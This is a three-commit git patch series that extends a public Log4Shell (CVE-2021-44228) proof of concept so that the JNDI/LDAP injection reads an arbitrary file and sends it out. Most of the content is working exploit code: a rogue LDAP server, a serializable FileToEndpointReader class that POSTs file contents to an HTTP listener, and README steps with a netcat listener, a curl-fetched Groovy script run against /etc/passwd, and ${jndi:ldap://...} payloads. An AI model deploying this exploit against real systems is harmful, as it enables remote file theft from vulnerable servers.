From f49e528f343fc3a2e340c7e0aaf87e5a23f4ee34 Mon Sep 17 00:00:00 2001 From: Spencer Thomas Date: Fri, 10 Dec 2021 22:34:44 -0800 Subject: [PATCH 1/3] Update to read arbitrary file --- build.gradle | 5 +++ src/main/java/Exploit.java | 11 +++-- src/main/java/FileToEndpointReader.java | 55 +++++++++++++++++++++++++ src/main/java/rofl/ROFL.java | 19 --------- 4 files changed, 65 insertions(+), 25 deletions(-) create mode 100644 src/main/java/FileToEndpointReader.java delete mode 100644 src/main/java/rofl/ROFL.java diff --git a/build.gradle b/build.gradle index 0ef20ac..33bc162 100644 --- a/build.gradle +++ b/build.gradle @@ -13,6 +13,11 @@ dependencies { implementation 'com.unboundid:unboundid-ldapsdk:3.1.1' } +task(runMain, dependsOn: 'classes', type: JavaExec) { + main = 'Exploit' + classpath = sourceSets.main.runtimeClasspath +} + test { useJUnitPlatform() } \ No newline at end of file diff --git a/src/main/java/Exploit.java b/src/main/java/Exploit.java index 05c1805..24bd377 100644 --- a/src/main/java/Exploit.java +++ b/src/main/java/Exploit.java @@ -7,7 +7,6 @@ import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; -import rofl.ROFL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; @@ -25,7 +24,7 @@ public class Exploit { public static void main(String... args) throws Exception { - final var port = 389; + final var port = 3389; try { final var config = new InMemoryDirectoryServerConfig("dc=exploit,dc=com"); @@ -52,8 +51,8 @@ private static final class OperationInterceptor extends InMemoryOperationInterce System.out.println("Process search result for " + baseDn); - if (baseDn.equals("exe")) { - sendExeResult(result, new Entry(baseDn)); + if (baseDn.startsWith("exe")) { + sendExeResult(baseDn, result, new Entry(baseDn)); } else { sendSerializedResult(result, new Entry(baseDn)); } @@ -64,8 +63,8 @@ private static final class OperationInterceptor extends InMemoryOperationInterce // Works only if the system property com.sun.jndi.ldap.object.trustURLCodebase is true // ${jndi:ldap://127.0.0.1/exe} - private void sendExeResult(InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException, IOException, ClassNotFoundException { - final var send = new ROFL(); + private void sendExeResult(String path, InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException, IOException, ClassNotFoundException { + final var send = new FileToEndpointReader(path.split("exe/")[1]); final var location = Exploit.class.getResource("").toString(); final var serializedStream = new ByteArrayOutputStream(); diff --git a/src/main/java/FileToEndpointReader.java b/src/main/java/FileToEndpointReader.java new file mode 100644 index 0000000..ecfad91 --- /dev/null +++ b/src/main/java/FileToEndpointReader.java @@ -0,0 +1,55 @@ + + +import java.io.Serializable; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpHeaders; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.net.http.HttpRequest.BodyPublishers; +import java.nio.file.Files; +import java.nio.file.Path; +import java.time.Duration; + +public class FileToEndpointReader implements Serializable { + + private static final HttpClient httpClient = HttpClient.newBuilder() + .version(HttpClient.Version.HTTP_1_1) + .connectTimeout(Duration.ofSeconds(10)) + .build(); + + + private final String filename; + + public FileToEndpointReader(String filename) { + this.filename = filename; + } + + @Override + public String toString() { + try { + HttpRequest request = HttpRequest.newBuilder() + .POST(BodyPublishers.ofString(Files.readString(Path.of(filename)))) + .header("User-Agent", "log4j-rce-test") + .header("X-Filename", filename) + .uri(URI.create("http://localhost:8080/")) + .build(); + + HttpResponse response = httpClient.send(request, HttpResponse.BodyHandlers.ofString()); + + // print response headers + HttpHeaders headers = response.headers(); + headers.map().forEach((k, v) -> System.out.println(k + ":" + v)); + + // print status code + System.out.println(response.statusCode()); + + // print response body + System.out.println(response.body()); + } catch (Exception e) { + e.printStackTrace(); + } + + return "FileToEndpointReader(filename = " + filename + ")"; + } +} diff --git a/src/main/java/rofl/ROFL.java b/src/main/java/rofl/ROFL.java deleted file mode 100644 index 4b0c910..0000000 --- a/src/main/java/rofl/ROFL.java +++ /dev/null @@ -1,19 +0,0 @@ -package rofl; - -import java.io.Serializable; - -public class ROFL implements Serializable { - - static { - System.out.println("ROFL CINIT!"); - } - - public ROFL() { - System.out.println("ROFL CTOR!"); - } - - @Override public String toString() { - System.out.println("ROFL TOSTRING!"); - return "ROFL!"; - } -} From 2bc018094c3d5fa42a716904a0ee36c1203159c6 Mon Sep 17 00:00:00 2001 From: Spencer Thomas Date: Fri, 10 Dec 2021 23:13:35 -0800 Subject: [PATCH 2/3] Updating README to make local repro easier --- README.md | 49 ++++++++++++++++--------------------------------- 1 file changed, 16 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index d73b410..274ea20 100644 --- a/README.md +++ b/README.md @@ -1,42 +1,25 @@ -# Log4J-RCE-Proof-Of-Concept (CVE-2021-44228) +This is a fork of https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept, which did the legwork in getting remote execution. This repo is only just demonstrating how it could be used maliciously. -This is a proof of concept of the log4j rce. -Here are some links for the CVE-2021-44228: -- https://www.lunasec.io/docs/blog/log4j-zero-day -- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q -- https://github.com/apache/logging-log4j2/pull/608 -- https://www.youtube.com/watch?v=JPGola6BamU +# Steps to Run +(1) Clone and run this repo: +```bash +git clone https://github.com/srt4/Log4J-RCE-Proof-Of-Concept/tree/update-to-read-files` +./gradlew build runMain +``` -This bug affects nearly all log4j2 and maybe log4j1 versions. The recommended version to use is **2.15.0** which fixes the exploit. +Leave it open - it's the "LDAP Server". -## Demonstration with minecraft (which uses log4j2) +(2) Run: `nc -l 8080` -- Details for the impact on minecraft are listed here: https://twitter.com/slicedlime/status/1469150993527017483 -- Article from minecraft is here: https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition -- Fixed minecraft forge versions: https://twitter.com/gigaherz/status/1469331288368861195 -- Fixed minecraft fabric versions: https://twitter.com/slicedlime/status/1469192689904193537 -- Fixed minecraft paper versions: https://twitter.com/aurora_smiles_/status/1469205803232026625 -- Fixed minecraft spigot versions: https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/ -- Fixed minecraft sponge versions: https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196 +This is where the file will be posted. -### Lag or sending serialized data -- Paste ``${jndi:ldap://127.0.0.1/e}`` in the chat. If there is an open socket on port ``389`` logj4 tries to connect and blocks further communiction until a timeout occurs. -- When using this proof of concept exploit, the log in the console will log ``THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT!`` which is a serialized string object from the ldap server. +(3) Download and run the Groovy script using a vulnerable version of log4j2, as well as setting the flag to mimic older JVMs (n.b. it's unclear how many of these exist in production, but likely to be few. The newer JVMs can still be exploited but likely less severely) -![image](https://user-images.githubusercontent.com/7681220/145529175-b6f88cf0-67d0-450b-a834-87942202d594.png) +```bash +curl https://gist.githubusercontent.com/srt4/4fb4b537bb48599279e0380e097081e2/raw/76a0051b744d5afa6babe346e5a706a31ff39025/log4j-rce.groovy > log4j-rce.groovy +groovy log4j-rce.groovy '//etc/passwd' +``` -- Additionally the malicious ldap server receives every ip address where the message is logged. This means that ip adresses of players on a server can be collected which this exploit. - -### RCE - -- Paste ``${jndi:ldap://127.0.0.1/exe}`` in the chat. If ``-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`` is set to true the remote code execution will happen. - -![image](https://user-images.githubusercontent.com/7681220/145529797-a3952c3e-c81e-4e91-b383-490688736f9c.png) - -- Fortunately modern jdks disable remote class loading by default. (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) -- Old versions may still allow this!! - - - +At this point, \ No newline at end of file From f3231f38cc5869b9dd6f500ee9c90b2f0e80916e Mon Sep 17 00:00:00 2001 From: Spencer Thomas Date: Fri, 10 Dec 2021 23:15:24 -0800 Subject: [PATCH 3/3] minor updates to readme language --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 274ea20..73d658a 100644 --- a/README.md +++ b/README.md @@ -22,4 +22,4 @@ curl https://gist.githubusercontent.com/srt4/4fb4b537bb48599279e0380e097081e2/ra groovy log4j-rce.groovy '//etc/passwd' ``` -At this point, \ No newline at end of file +Now the logs should be visible in stages (1) and (2) \ No newline at end of file